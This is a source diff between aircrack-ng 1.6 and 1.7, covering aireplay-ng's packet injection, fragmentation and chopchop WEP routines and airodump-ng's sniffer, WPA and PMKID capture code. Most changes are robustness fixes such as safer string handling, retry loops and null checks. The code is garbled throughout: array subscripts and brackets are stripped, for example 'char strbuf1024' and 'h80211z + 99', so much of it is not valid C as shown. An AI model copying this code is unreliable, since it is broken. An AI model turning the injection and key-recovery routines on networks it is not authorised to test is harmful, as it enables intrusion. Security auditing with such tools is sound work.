 	long nb_pkt_read, nb_arp_tot, nb_ack_pkt;
 	unsigned char flip4096;
@@ -2624,6 +2591,7 @@
 	pfh_out.linktype = LINKTYPE_IEEE802_11;
 
 	lt = localtime((const time_t *) &tv.tv_sec);
+	REQUIRE(lt != NULL);
 
 	memset(strbuf, 0, sizeof(strbuf));
 	snprintf(strbuf,
@@ -2684,7 +2652,6 @@
 	nb_arp = 0;
 	nb_arp_tot = 0;
 	arp_off1 = 0;
-	arp_off2 = 0;
 
 	while (1)
 	{
@@ -2739,7 +2706,7 @@
 				if (send_packet(_wi_out,
 								arparp_off1.buf,
 								(size_t) arparp_off1.len,
-								kRewriteDuration)
+								kRewriteSequenceNumber)
 					< 0)
 				{
 					free(arp);
@@ -2754,7 +2721,7 @@
 					if (send_packet(_wi_out,
 									arparp_off1.buf,
 									(size_t) arparp_off1.len,
-									kRewriteDuration)
+									kRewriteSequenceNumber)
 						< 0)
 					{
 						free(arp);
@@ -3304,29 +3271,39 @@
 
 		if (isarp)
 		{
-			if (send_packet(
-					_wi_out, frag1, (size_t) z + 4 + 10 + 4, kRewriteDuration)
+			if (send_packet(_wi_out,
+							frag1,
+							(size_t) z + 4 + 10 + 4,
+							kRewriteSequenceNumber)
 				< 0)
 				return (1);
 			nb_pkt_sent--;
 		}
 		else
 		{
-			if (send_packet(
-					_wi_out, frag1, (size_t) z + 4 + 4 + 4, kRewriteDuration)
+			if (send_packet(_wi_out,
+							frag1,
+							(size_t) z + 4 + 4 + 4,
+							kRewriteSequenceNumber)
 				< 0)
 				return (1);
-			if (send_packet(
-					_wi_out, frag2, (size_t) z + 4 + 4 + 4, kRewriteDuration)
+			if (send_packet(_wi_out,
+							frag2,
+							(size_t) z + 4 + 4 + 4,
+							kRewriteSequenceNumber)
 				< 0)
 				return (1);
-			if (send_packet(
-					_wi_out, frag3, (size_t) z + 4 + 4 + 4, kRewriteDuration)
+			if (send_packet(_wi_out,
+							frag3,
+							(size_t) z + 4 + 4 + 4,
+							kRewriteSequenceNumber)
 				< 0)
 				return (1);
 			nb_pkt_sent -= 3;
 		}
-		if (send_packet(_wi_out, h80211, (size_t) caplen, kRewriteDuration) < 0)
+		if (send_packet(
+				_wi_out, h80211, (size_t) caplen, kRewriteSequenceNumber)
+			< 0)
 			return (1);
 	}
 
@@ -3399,8 +3376,10 @@
 
 		memcpy(packet + 24, h80211 + z, (size_t) caplen - z);
 
-		if (send_packet(
-				_wi_out, packet, (size_t) caplen - z + 24, kRewriteDuration)
+		if (send_packet(_wi_out,
+						packet,
+						(size_t) caplen - z + 24,
+						kRewriteSequenceNumber)
 			!= 0)
 			return (1);
 		// done sending a correct packet
@@ -3753,8 +3732,10 @@
 
 			errno = 0;
 
-			if (send_packet(
-					_wi_out, h80211, (size_t) data_end - 1, kRewriteDuration)
+			if (send_packet(_wi_out,
+							h80211,
+							(size_t) data_end - 1,
+							kRewriteSequenceNumber)
 				!= 0)
 			{
 				free(chopped);
@@ -3771,7 +3752,10 @@
 
 		/* watch for a response from the AP */
 
-		n = read_packet(_wi_in, h80211, sizeof(h80211), NULL);
+		do
+		{
+			n = read_packet(_wi_in, h80211, sizeof(h80211), NULL);
+		} while (n == -1 && errno == EAGAIN);
 
 		if (n < 0)
 		{
@@ -3963,6 +3947,7 @@
 	pkh.len = caplen;
 
 	lt = localtime((const time_t *) &tv.tv_sec);
+	REQUIRE(lt != NULL);
 
 	memset(strbuf, 0, sizeof(strbuf));
 	snprintf(strbuf,
@@ -4049,9 +4034,12 @@
 	free(chopped);
 	fclose(f_cap_out);
 
+	float const delta_tt = (float) (time(NULL) - tt);
 	printf("\nCompleted in %lds (%0.2f bytes/s)\n\n",
-		   (long) (time(NULL) - tt),
-		   (float) (pkh.caplen - 6 - 24) / (float) (time(NULL) - tt));
+		   (long) delta_tt,
+		   (fabsf(delta_tt) >= __FLT_EPSILON__
+				? (float) ((pkh.caplen - 6 - 24) / delta_tt)
+				: 0.f));
 
 	return (0);
 }
@@ -4097,13 +4085,12 @@
 					  int prgalen)
 {
 	FILE * xorfile;
-	size_t unused;
 	xorfile = fopen(filename, "wb");
 	if (xorfile)
 	{
 		if (fwrite(iv, 1, 4, xorfile) > 0)
 		{
-			unused = fwrite(prga, 1, prgalen, xorfile);
+			(void) fwrite(prga, 1, prgalen, xorfile);
 		}
 		fclose(xorfile);
 	}
@@ -4216,7 +4203,7 @@
 		again = RETRY;
 
 		memcpy(packet, packet2, caplen2);
-		caplen = caplen2;
+		caplen = caplen2; //-V1048
 		memcpy(prga, packet + z + 4, prga_len); //-V512
 		memcpy(iv, packet + z, 4);
 
@@ -4258,6 +4245,11 @@
 			while (!gotit) // waiting for relayed packet
 			{
 				caplen = read_packet(_wi_in, packet, sizeof(packet), NULL);
+				if (caplen < 0 && errno == EINTR)
+					continue;
+				else if (caplen < 0)
+					break;
+
 				z = ((packet1 & 3) != 3) ? 24 : 30;
 				if ((packet0 & 0x80) == 0x80) /* QoS */
 					z += 2;
@@ -4267,6 +4259,8 @@
 					if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
 					{
 						acksgot++;
+						printf(
+							"Got ACK (%d) (packets %d).\n", acksgot, packets);
 					}
 					continue;
 				}
@@ -4441,6 +4435,11 @@
 			while (!gotit) // waiting for relayed packet
 			{
 				caplen = read_packet(_wi_in, packet, sizeof(packet), NULL);
+				if (caplen < 0 && errno == EINTR)
+					continue;
+				else if (caplen < 0)
+					break;
+
 				z = ((packet1 & 3) != 3) ? 24 : 30;
 				if ((packet0 & 0x80) == 0x80) /* QoS */
 					z += 2;
@@ -4600,6 +4599,11 @@
 			while (!gotit) // waiting for relayed packet
 			{
 				caplen = read_packet(_wi_in, packet, sizeof(packet), NULL);
+				if (caplen < 0 && errno == EINTR)
+					continue;
+				else if (caplen < 0)
+					break;
+
 				z = ((packet1 & 3) != 3) ? 24 : 30;
 				if ((packet0 & 0x80) == 0x80) /* QoS */
 					z += 2;
@@ -4737,6 +4741,7 @@
 		}
 
 		lt = localtime((const time_t *) &tv.tv_sec);
+		REQUIRE(lt != NULL);
 
 		memset(strbuf, 0, sizeof(strbuf));
 		snprintf(strbuf,
@@ -4837,7 +4842,7 @@
 {
 	uint8_t nh_type;
 	uint32_t nh_len;
-	uint8_t nh_data0;
+	uint8_t nh_data;
 } __packed;
 
 static int tcp_test(const char * ip_str, const short port)
@@ -4846,9 +4851,9 @@
 	struct sockaddr_in s_in;
 	int packetsize = 1024;
 	unsigned char packetpacketsize;
-	struct timeval tv, tv2, tv3;
+	struct timeval tv, tv2 = {0}, tv3;
 	int caplen = 0;
-	int timesREQUESTS;
+	int timesREQUESTS = {0};
 	int min, avg, max, len;
 	struct net_hdr nh;
 
@@ -5060,16 +5065,9 @@
 	printf("ping %s:%d (min/avg/max): %.3fms/%.3fms/%.3fms\n",
 		   ip_str,
 		   port,
-		   min /
-#if defined(__x86_64__) && defined(__CYGWIN__)
-			   (0.0f + 1000),
-		   avg / (0.0f + 1000),
-		   max / (0.0f + 1000));
-#else
-			   1000.0,
-		   avg / 1000.0,
-		   max / 1000.0);
-#endif
+		   min / 1000.0f,
+		   avg / 1000.0f,
+		   max / 1000.0f);
 
 	return 0;
 }
@@ -5219,13 +5217,17 @@
 
 		memcpy(h80211 + 10, opt.r_smac, 6);
 
-		send_packet(_wi_out, h80211, (size_t) len, kRewriteDuration);
+		send_packet(_wi_out, h80211, (size_t) len, kRewriteSequenceNumber);
 
 		gettimeofday(&tv, NULL);
 
 		while (1) // waiting for relayed packet
 		{
 			caplen = read_packet(_wi_in, packet, sizeof(packet), &ri);
+			if (caplen < 0 && errno == EINTR)
+				continue;
+			else if (caplen < 0)
+				break;
 
 			if (packet0 == 0x50) // Is probe response
 			{
@@ -5339,7 +5341,7 @@
 			// build/send probe request
 			memcpy(h80211 + 10, opt.r_smac, 6);
 
-			send_packet(_wi_out, h80211, (size_t) len, kRewriteDuration);
+			send_packet(_wi_out, h80211, (size_t) len, kRewriteSequenceNumber);
 			usleep(10);
 
 			// build/send request-to-send
@@ -5347,7 +5349,7 @@
 			memcpy(nulldata + 4, api.bssid, 6);
 			memcpy(nulldata + 10, opt.r_smac, 6);
 
-			send_packet(_wi_out, nulldata, 16, kRewriteDuration);
+			send_packet(_wi_out, nulldata, 16, kRewriteSequenceNumber);
 			usleep(10);
 
 			// build/send null data packet
@@ -5356,7 +5358,7 @@
 			memcpy(nulldata + 10, opt.r_smac, 6);
 			memcpy(nulldata + 16, api.bssid, 6);
 
-			send_packet(_wi_out, nulldata, 24, kRewriteDuration);
+			send_packet(_wi_out, nulldata, 24, kRewriteSequenceNumber);
 			usleep(10);
 
 			// build/send auth request packet
@@ -5365,7 +5367,7 @@
 			memcpy(nulldata + 10, opt.r_smac, 6);
 			memcpy(nulldata + 16, api.bssid, 6);
 
-			send_packet(_wi_out, nulldata, 30, kRewriteDuration);
+			send_packet(_wi_out, nulldata, 30, kRewriteSequenceNumber);
 
 			// continue
 			gettimeofday(&tv, NULL);
@@ -5378,6 +5380,10 @@
 			while (1) // waiting for relayed packet
 			{
 				caplen = read_packet(_wi_in, packet, sizeof(packet), &ri);
+				if (caplen < 0 && errno == EINTR)
+					continue;
+				else if (caplen < 0)
+					break;
 
 				if (packet0 == 0x50) // Is probe response
 				{
@@ -5518,17 +5524,10 @@
 			avg2 /= api.found;
 			PCT;
 			printf("Ping (min/avg/max): %.3fms/%.3fms/%.3fms Power: %.2f\n",
-#if defined(__x86_64__) && defined(__CYGWIN__)
-				   (min / (0.0f + 1000)),
-				   (avg / (0.0f + 1000)),
-				   (max / (0.0f + 1000)),
+				   (min / 1000.0f),
+				   (avg / 1000.0f),
+				   (max / 1000.0f),
 				   avg2);
-#else
-				   (min / 1000.0),
-				   (avg / 1000.0),
-				   (max / 1000.0),
-				   avg2);
-#endif
 		}
 		PCT;
 		printf("%2d/%2d: %3d%%\n\n",
@@ -5608,7 +5607,7 @@
 					memcpy(h80211 + 10, opt.r_smac, 6);
 
 					send_packet(
-						_wi_out, h80211, (size_t) len, kRewriteDuration);
+						_wi_out, h80211, (size_t) len, kRewriteSequenceNumber);
 
 					gettimeofday(&tv, NULL);
 
@@ -5621,6 +5620,10 @@
 					{
 						caplen
 							= read_packet(_wi_in, packet, sizeof(packet), &ri);
+						if (caplen < 0 && errno == EINTR)
+							continue;
+						else if (caplen < 0)
+							break;
 
 						if (packet0 == 0x50) // Is probe response
 						{
@@ -5662,12 +5665,7 @@
 				if (api.found > 0) avg2 /= api.found;
 				PCT;
 				printf("Probing at %2.1f Mbps:\t%2d/%2d: %3d%%\n",
-					   wi_get_rate(_wi_out) /
-#if defined(__x86_64__) && defined(__CYGWIN__)
-						   (0.0f + 1000000),
-#else
-						   1000000.0,
-#endif
+					   wi_get_rate(_wi_out) / 1000000.0f,
 					   api.found,
 					   REQUESTS,
 					   ((api.found * 100) / REQUESTS));
@@ -5788,7 +5786,7 @@
 				opt.f_fromds = 0;
 				opt.f_minlen = opt.f_maxlen = 24 + 4 + 132;
 			}
-			else if (i == 4) // attack -5
+			else // attack -5
 			{
 				memcpy(h80211, NULL_DATA, 24);
 				memcpy(h80211 + 4, opt.f_bssid, 6);
@@ -5814,15 +5812,18 @@
 				opt.f_minlen = opt.f_maxlen = 24 + 4 + 7;
 			}
 
-			for (j = 0; (j < (REQUESTS / 4) && !k); j++) // try it 5 times
+			for (j = 0; (j < REQUESTS && !k); j++)
 			{
-				send_packet(
-					_wi_out, h80211, (size_t) opt.f_minlen, kRewriteDuration);
+				send_packet(_wi_out, h80211, (size_t) opt.f_maxlen, kNoChange);
 
 				gettimeofday(&tv, NULL);
 				while (1) // waiting for relayed packet
 				{
-					caplen = read_packet(_wi_in, packet, sizeof(packet), &ri);
+					do
+					{
+						caplen = wi_read(
+							_wi_in, NULL, NULL, packet, sizeof(packet), &ri);
+					} while (caplen == -1 && errno == EAGAIN);
 					if (filter_packet(packet, caplen)
 						== 0) // got same length and same type
 					{
@@ -5867,7 +5868,7 @@
 								break;
 							}
 						}
-						else if (i == 4) // attack -5/-7
+						else // attack -5/-7
 						{
 							if (h802110 == packet0
 								&& memcmp(h80211 + 24, packet + 24, caplen - 24)
@@ -5879,6 +5880,15 @@
 									k = 1;
 									break;
 								}
+								else if ((packet1 & 0x4) != 0)
+								{
+									PCT;
+									printf("Got a reply with an incorrect "
+										   "sequence number (wanted 0x0a00 got "
+										   "0x%02x%02x).\n",
+										   *(packet + 22),
+										   *(packet + 23));
+								}
 							}
 						}
 					}
@@ -5886,11 +5896,10 @@
 					gettimeofday(&tv2, NULL);
 					if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
 						 + (tv2.tv_usec - tv.tv_usec))
-						> (3 * atime * 1000)) // wait 3*'atime' ms for an answer
+						> (2 * atime * 1000)) // wait 2*'atime' ms for an answer
 					{
 						break;
 					}
-					usleep(10);
 				}
 			}
 			if (k)
@@ -5916,7 +5925,7 @@
 					PCT;
 					printf("Attack -2/-3/-4/-6:  OK\n");
 				}
-				else if (i == 4) // attack -5
+				else // attack -5
 				{
 					PCT;
 					printf("Attack -5/-7:        OK\n");
@@ -5944,7 +5953,7 @@
 					PCT;
 					printf("Attack -2/-3/-4/-6:  Failed\n");
 				}
-				else if (i == 4) // attack -5
+				else // attack -5
 				{
 					PCT;
 					printf("Attack -5/-7:        Failed\n");
@@ -6050,10 +6059,6 @@
 				break;
 
 			case ':':
-
-				printf("\"%s --help\" for help.\n", argv0);
-				return (1);
-
 			case '?':
 
 				printf("\"%s --help\" for help.\n", argv0);

aircrack-ng-1.6.tar.gz/src/airodump-ng/airodump-ng.c -> aircrack-ng-1.7.tar.gz/src/airodump-ng/airodump-ng.c Changed

@@ -1,7 +1,7 @@
 /*
  *  pcap-compatible 802.11 packet sniffer
  *
- *  Copyright (C) 2006-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2006-2022 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
  *  Copyright (C) 2004, 2005 Christophe Devine
  *
  *  This program is free software; you can redistribute it and/or modify
@@ -92,8 +92,6 @@
 #include "radiotap/radiotap_iter.h"
 
 struct devices dev;
-uint8_t h802114096 __attribute__((aligned(16)));
-uint8_t tmpbuf4096 __attribute__((aligned(16)));
 
 static const unsigned char llcnull = {0, 0, 0, 0};
 
@@ -104,6 +102,7 @@
 	   "/usr/share/aircrack-ng/airodump-ng-oui.txt",
 	   "/var/lib/misc/oui.txt",
 	   "/usr/share/misc/oui.txt",
+	   "/usr/share/hwdata/oui.txt",
 	   "/var/lib/ieee-data/oui.txt",
 	   "/usr/share/ieee-data/oui.txt",
 	   "/etc/manuf/oui.txt",
@@ -113,17 +112,16 @@
 
 static int read_pkts = 0;
 
-static const int abg_chans
+static int abg_chans
 	= {1,   7,   13,  2,   8,   3,   14,  9,   4,   10,  5,   11,  6,
 	   12,  36,  38,  40,  42,  44,  46,  48,  50,  52,  54,  56,  58,
 	   60,  62,  64,  100, 102, 104, 106, 108, 110, 112, 114, 116, 118,
 	   120, 122, 124, 126, 128, 132, 134, 136, 138, 140, 142, 144, 149,
 	   151, 153, 155, 157, 159, 161, 165, 169, 173, 0};
 
-static const int bg_chans
-	= {1, 7, 13, 2, 8, 3, 14, 9, 4, 10, 5, 11, 6, 12, 0};
+static int bg_chans = {1, 7, 13, 2, 8, 3, 14, 9, 4, 10, 5, 11, 6, 12, 0};
 
-static const int a_chans
+static int a_chans
 	= {36,  38,  40,  42,  44,  46,  48,  50,  52,  54,  56,  58,
 	   60,  62,  64,  100, 102, 104, 106, 108, 110, 112, 114, 116,
 	   118, 120, 122, 124, 126, 128, 132, 134, 136, 138, 140, 142,
@@ -187,10 +185,6 @@
 
 	int asso_client; /* only show associated clients */
 
-	char * iwpriv;
-	char * iwconfig;
-	char * wlanctlng;
-
 	unsigned char wpa_bssid6; /* the wpa handshake bssid   */
 	char message512;
 	char decloak;
@@ -284,7 +278,7 @@
 
 static void resetSelection(void)
 {
-	lopt.sort_by = SORT_BY_POWER;
+	lopt.sort_by = SORT_BY_NOTHING;
 	lopt.sort_inv = 1;
 
 	lopt.relative_time = 0;
@@ -318,7 +312,7 @@
 {
 	struct AP_info * ap_cur;
 	struct ST_info * st_cur;
-	int color = 1;
+	int color = 2;
 
 	color_off();
 
@@ -375,8 +369,6 @@
 				else
 					ap_cur->marked_color = color++;
 			}
-			else
-				ap_cur->marked_color = 1;
 
 			st_cur = st_cur->prev;
 		}
@@ -385,7 +377,7 @@
 	}
 }
 
-static void input_thread(void * arg)
+static THREAD_ENTRY(input_thread)
 {
 	UNUSED_PARAM(arg);
 
@@ -399,7 +391,7 @@
 		{
 			quitting_event_ts = time(NULL);
 
-			if (++quitting > 1)
+			if (++quitting > 1) //-V1051
 				lopt.do_exit = 1;
 			else
 				snprintf(
@@ -529,7 +521,10 @@
 
 		if (keycode == KEY_m)
 		{
-			lopt.mark_cur_ap = 1;
+			if (lopt.p_selected_ap != NULL)
+			{
+				lopt.mark_cur_ap = 1;
+			}
 		}
 
 		if (keycode == KEY_ARROW_DOWN)
@@ -589,8 +584,6 @@
 		{
 			if (lopt.show_ap == 1 && lopt.show_sta == 1 && lopt.show_ack == 0)
 			{
-				lopt.show_ap = 1;
-				lopt.show_sta = 1;
 				lopt.show_ack = 1;
 				snprintf(lopt.message,
 						 sizeof(lopt.message),
@@ -599,7 +592,6 @@
 			else if (lopt.show_ap == 1 && lopt.show_sta == 1
 					 && lopt.show_ack == 1)
 			{
-				lopt.show_ap = 1;
 				lopt.show_sta = 0;
 				lopt.show_ack = 0;
 				snprintf(
@@ -610,7 +602,6 @@
 			{
 				lopt.show_ap = 0;
 				lopt.show_sta = 1;
-				lopt.show_ack = 0;
 				snprintf(
 					lopt.message, sizeof(lopt.message), " display sta only");
 			}
@@ -618,8 +609,6 @@
 					 && lopt.show_ack == 0)
 			{
 				lopt.show_ap = 1;
-				lopt.show_sta = 1;
-				lopt.show_ack = 0;
 				snprintf(
 					lopt.message, sizeof(lopt.message), " display ap+sta");
 			}
@@ -642,6 +631,8 @@
 			ALLEGE(pthread_mutex_unlock(&(lopt.mx_print)) == 0);
 		}
 	}
+
+	return (NULL);
 }
 
 static FILE * open_oui_file(void)
@@ -750,7 +741,7 @@
 static const char usage =
 
 	"\n"
-	"  %s - (C) 2006-2020 Thomas d\'Otreppe\n"
+	"  %s - (C) 2006-2022 Thomas d\'Otreppe\n"
 	"  https://www.aircrack-ng.org\n"
 	"\n"
 	"  usage: airodump-ng <options> <interface>,<interface>,...\n"
@@ -1259,7 +1250,8 @@
 
 	/* if it's a LLC null packet, just forget it (may change in the future) */
 
-	if (caplen > 28)
+	if (((h802110 & IEEE80211_FC0_TYPE_MASK) == IEEE80211_FC0_TYPE_DATA)
+		&& (caplen > 28))
 		if (memcmp(h80211 + 24, llcnull, 4) == 0) return (0);
 
 	/* grab the sequence number */
@@ -1276,8 +1268,6 @@
 			memcpy(bssid, h80211 + 4, 6);
 			break; // ToDS
 		case IEEE80211_FC1_DIR_FROMDS:
-			memcpy(bssid, h80211 + 10, 6);
-			break; // FromDS
 		case IEEE80211_FC1_DIR_DSTODS:
 			memcpy(bssid, h80211 + 10, 6);
 			break; // WDS -> Transmitter taken as BSSID
@@ -1919,7 +1909,7 @@
 				 *
 				 * For now, just figure out the highest MCS rate.
 				 */
-				if (ap_cur->n_channel.mcs_index == -1)
+				if ((unsigned char) ap_cur->n_channel.mcs_index == 0xff)
 				{
 					uint32_t rx_mcs_bitmask = 0;
 					memcpy(&rx_mcs_bitmask, p + 5, sizeof(uint32_t));
@@ -1942,7 +1932,7 @@
 				ap_cur->ac_channel.short_gi_80 = (uint8_t)((p3 / 32) % 2);
 				ap_cur->ac_channel.short_gi_160 = (uint8_t)((p3 / 64) % 2);
 
-				ap_cur->ac_channel.mu_mimo = (uint8_t)((p4 & 0b11000) % 2);
+				ap_cur->ac_channel.mu_mimo = (uint8_t)((p4 & 0x18) % 2);
 
 				// A few things indicate Wave 2: MU-MIMO, 80+80 Channels
 				ap_cur->ac_channel.wave_2
@@ -2129,6 +2119,7 @@
 				// RSN => WPA2
 				if (type == 0x30)
 				{
+					ap_cur->security |= STD_WPA2;
 					offset = 0;
 				}
 
@@ -2171,7 +2162,6 @@
 							break;
 						case 0x02:
 							ap_cur->security |= ENC_TKIP;
-							ap_cur->security &= ~STD_WPA2;
 							break;
 						case 0x03:
 							ap_cur->security |= ENC_WRAP;
@@ -2681,12 +2671,16 @@
 
 				st_cur->wpa.state = 1;
 
-				if (h80211z + 99 == 0xdd) // RSN
+				if (h80211z + 99 == IEEE80211_ELEMID_VENDOR)
 				{
-					if (h80211z + 101 == 0x00 && h80211z + 102 == 0x0f
-						&& h80211z + 103 == 0xac) // OUI: IEEE8021
+					const uint8_t rsn_oui = {RSN_OUI & 0xff,
+											   (RSN_OUI >> 8) & 0xff,
+											   (RSN_OUI >> 16) & 0xff};
+
+					if (memcmp(rsn_oui, &h80211z + 101, 3) == 0
+						&& h80211z + 104 == RSN_CSE_CCMP)
 					{
-						if (h80211z + 104 == 0x04) // OUI SUBTYPE
+						if (memcmp(ZERO, &h80211z + 105, 16) != 0) //-V512
 						{
 							// Got a PMKID value?!
 							memcpy(st_cur->wpa.pmkid, &h80211z + 105, 16);
@@ -2898,7 +2892,8 @@
 		if (h802110 & 0x04)
 		{
 			p = h80211 + 4;
-			while (p <= h80211 + 16 && p <= h80211 + caplen)
+			while ((uintptr_t) p <= adds_uptr((uintptr_t) h80211, 16)
+				   && (uintptr_t) p <= adds_uptr((uintptr_t) h80211, caplen))
 			{
 				memcpy(namac, p, 6);
 
@@ -3042,7 +3037,7 @@
 		gettimeofday(&tv, NULL);
 
 		pkh.tv_sec = (int32_t) tv.tv_sec;
-		pkh.tv_usec = (int32_t)((tv.tv_usec & ~0x1ff) + ri->ri_power + 64);
+		pkh.tv_usec = (int32_t) tv.tv_usec;
 
 		n = sizeof(pkh);
 
@@ -3419,15 +3414,14 @@
 	time_t tt;
 	struct tm * lt;
 	int nlines, i, n;
-	char strbuf512;
-	char buffer512;
+	char strbuf1024;
+	char buffer1024;
 	char ssid_list512;
 	struct AP_info * ap_cur;
 	struct ST_info * st_cur;
 	struct NA_info * na_cur;
 	int columns_ap = 83;
 	int columns_sta = 74;
-	int columns_na = 68;
 	ssize_t len;
 
 	int num_ap;
@@ -3490,7 +3484,7 @@
 		{
 			memset(buffer, '\0', sizeof(buffer));
 			snprintf(buffer, sizeof(buffer), ",%4d", lopt.frequencyi);
-			strncat(strbuf, buffer, sizeof(strbuf) - strlen(strbuf) - 1);
+			strlcat(strbuf, buffer, sizeof(strbuf));
 		}
 	}
 	else
@@ -3499,8 +3493,8 @@
 		for (i = 1; i < if_num; i++)
 		{
 			memset(buffer, '\0', sizeof(buffer));
-			snprintf(buffer, sizeof(buffer), ",%2d", lopt.channeli);
-			strncat(strbuf, buffer, sizeof(strbuf) - strlen(strbuf) - 1);
+			snprintf(buffer, sizeof(buffer) - 1, ",%2d", lopt.channeli);
+			strlcat(strbuf, buffer, sizeof(strbuf));
 		}
 	}
 	memset(buffer, '\0', sizeof(buffer));
@@ -3558,8 +3552,8 @@
 				 lt->tm_min);
 	}
 
-	strncat(strbuf, buffer, (512 - strlen(strbuf) - 1));
-	memset(buffer, '\0', 512);
+	strlcat(strbuf, buffer, sizeof(strbuf));
+	memset(buffer, '\0', sizeof(buffer));
 
 	if (lopt.is_berlin)
 	{
@@ -3571,12 +3565,12 @@
 				 lopt.maxaps);
 	}
 
-	strncat(strbuf, buffer, (512 - strlen(strbuf) - 1));
-	memset(buffer, '\0', 512);
+	strlcat(strbuf, buffer, sizeof(strbuf));
+	memset(buffer, '\0', sizeof(buffer));
 
-	if (strlen(lopt.message) > 0)
+	if (*lopt.message != '\0')
 	{
-		strncat(strbuf, lopt.message, (512 - strlen(strbuf) - 1));
+		strlcat(strbuf, lopt.message, sizeof(strbuf));
 	}
 
 	strbufws_col - 1 = '\0';
@@ -3594,22 +3588,24 @@
 	if (lopt.show_ap)
 	{
 		strbuf0 = 0;
-		strcat(strbuf, " BSSID              PWR ");
+		strlcat(strbuf, " BSSID              PWR ", sizeof(strbuf));
 
-		if (lopt.singlechan) strcat(strbuf, "RXQ ");
+		if (lopt.singlechan) strlcat(strbuf, "RXQ ", sizeof(strbuf));
 
-		strcat(strbuf, " Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ");
+		strlcat(strbuf,
+				" Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ",
+				sizeof(strbuf));
 
-		if (lopt.show_uptime) strcat(strbuf, "        UPTIME ");
+		if (lopt.show_uptime)
+			strlcat(strbuf, "        UPTIME ", sizeof(strbuf));
 
 		if (lopt.show_wps)
 		{
-			strcat(strbuf, "WPS   ");
+			strlcat(strbuf, "WPS   ", sizeof(strbuf));
 			if (ws_col > (columns_ap - 4))
 			{
-				memset(strbuf + strlen(strbuf),
-					   32,
-					   sizeof(strbuf) - strlen(strbuf) - 1);
+				const size_t n_strbuf = strlen(strbuf);
+				memset(strbuf + n_strbuf, 32, sizeof(strbuf) - n_strbuf - 1);
 				snprintf(strbuf + columns_ap + lopt.maxsize_wps_seen - 5,
 						 8,
 						 "%s",
@@ -3631,7 +3627,7 @@
 		}
 		else
 		{
-			strcat(strbuf, "ESSID");
+			strlcat(strbuf, "ESSID", sizeof(strbuf));
 
 			if (lopt.show_manufacturer && (ws_col > (columns_ap - 4)))
 			{
@@ -3785,7 +3781,7 @@
 
 			len = strlen(strbuf);
 
-			if ((ap_cur->security & STD_FIELD) == 0)
+			if ((ap_cur->security & (STD_FIELD | AUTH_SAE | AUTH_OWE)) == 0)
 				snprintf(strbuf + len, sizeof(strbuf) - len, "    ");
 			else
 			{
@@ -3805,7 +3801,7 @@
 					snprintf(strbuf + len, sizeof(strbuf) - len, "OPN ");
 			}
 
-			strncat(strbuf, " ", sizeof(strbuf) - strlen(strbuf) - 1);
+			strlcat(strbuf, " ", sizeof(strbuf));
 
 			len = strlen(strbuf);
 
@@ -3922,9 +3918,9 @@
 	{                                                                          \
 		if (ap_cur->wps.meth & (1u << (bit)))                                  \
 		{                                                                      \
-			if (sep) strcat(tbuf, ",");                                        \
+			if (sep) strlcat(tbuf, ",", sizeof(tbuf));                         \
 			sep = 1;                                                           \
-			strncat(tbuf, (name), (64 - strlen(tbuf) - 1));                    \
+			strlcat(tbuf, (name), sizeof(tbuf));                               \
 		}                                                                      \
 	} while (0)
 								T(0u, "USB"); // USB method
@@ -3995,7 +3991,7 @@
 
 				if (lopt.show_manufacturer)
 				{
-					if (lopt.maxsize_essid_seen <= len - essid_len)
+					if (lopt.maxsize_essid_seen <= (u_int)(len - essid_len))
 						lopt.maxsize_essid_seen
 							= (u_int) MAX(len - essid_len, 5);
 					else
@@ -4021,7 +4017,12 @@
 			len = strlen(strbuf);
 
 			// write spaces (32) until the end of column
-			memset(strbuf + len, 32, (size_t) ws_col - 1);
+			int len_remaining = ws_col - len;
+			if (len_remaining > 0)
+			{
+				ALLEGE((size_t) len + len_remaining <= sizeof(strbuf));
+				memset(strbuf + len, 32, len_remaining);
+			}
 
 			strbufws_col - 1 = '\0';
 			console_puts(strbuf);
@@ -4044,9 +4045,10 @@
 
 	if (lopt.show_sta)
 	{
-		strcpy(strbuf,
-			   " BSSID              STATION "
-			   "           PWR   Rate    Lost    Frames  Notes  Probes");
+		strlcpy(strbuf,
+				" BSSID              STATION "
+				"           PWR   Rate    Lost    Frames  Notes  Probes",
+				sizeof(strbuf));
 		strbufws_col - 1 = '\0';
 		console_puts(strbuf);
 		CHECK_END_OF_SCREEN();
@@ -4204,10 +4206,10 @@
 		move(CURSOR_DOWN, 1);
 		CHECK_END_OF_SCREEN();
 
-		memcpy(strbuf,
-			   " MAC       "
-			   "          CH PWR    ACK ACK/s    CTS RTS_RX RTS_TX  OTHER",
-			   (size_t) columns_na);
+		strlcpy(strbuf,
+				" MAC       "
+				"          CH PWR    ACK ACK/s    CTS RTS_RX RTS_TX  OTHER",
+				sizeof(strbuf));
 		strbufws_col - 1 = '\0';
 		console_puts(strbuf);
 		CHECK_END_OF_SCREEN();
@@ -4274,6 +4276,7 @@
 	unsigned char b2;
 	unsigned char c2;
 	int found = 0;
+	size_t oui_len;
 
 	if ((manuf = (char *) calloc(1, MANUF_SIZE * sizeof(char))) == NULL)
 	{
@@ -4282,6 +4285,7 @@
 	}
 
 	snprintf(oui, sizeof(oui), "%02X:%02X:%02X", mac0, mac1, mac2);
+	oui_len = strlen(oui);
 
 	if (lopt.manufList != NULL)
 	{
@@ -4334,7 +4338,7 @@
 							 b1,
 							 c0,
 							 c1);
-					found = !memcmp(temp, oui, strlen(oui));
+					found = !memcmp(temp, oui, oui_len);
 					if (found)
 					{
 						manuf_str = get_manufacturer_from_string(buffer);
@@ -4425,8 +4429,7 @@
 	char * vcursor = value;
 	int ret = 0;
 
-	if (buffer == NULL || strlen(buffer) == 0 || name == NULL
-		|| strlen(name) == 0
+	if (buffer == NULL || *buffer == '\0' || name == NULL || *name != '\0'
 		|| value == NULL)
 	{
 		return (0);
@@ -4517,9 +4520,9 @@
 	return (ret);
 }
 
-static void * gps_tracker_thread(void * arg)
+static THREAD_ENTRY(gps_tracker_thread)
 {
-	int gpsd_sock;
+	int gpsd_sock = -1;
 	char line1537, buffer1537, data1537;
 	char * temp;
 	struct sockaddr_in gpsd_addr;
@@ -4550,12 +4553,16 @@
 		gpsd_tried_connection = 1;
 
 		time_t updateTime = time(NULL);
-		memset(line, 0, 1537);
-		memset(buffer, 0, 1537);
-		memset(data, 0, 1537);
+		memset(line, 0, sizeof(line));
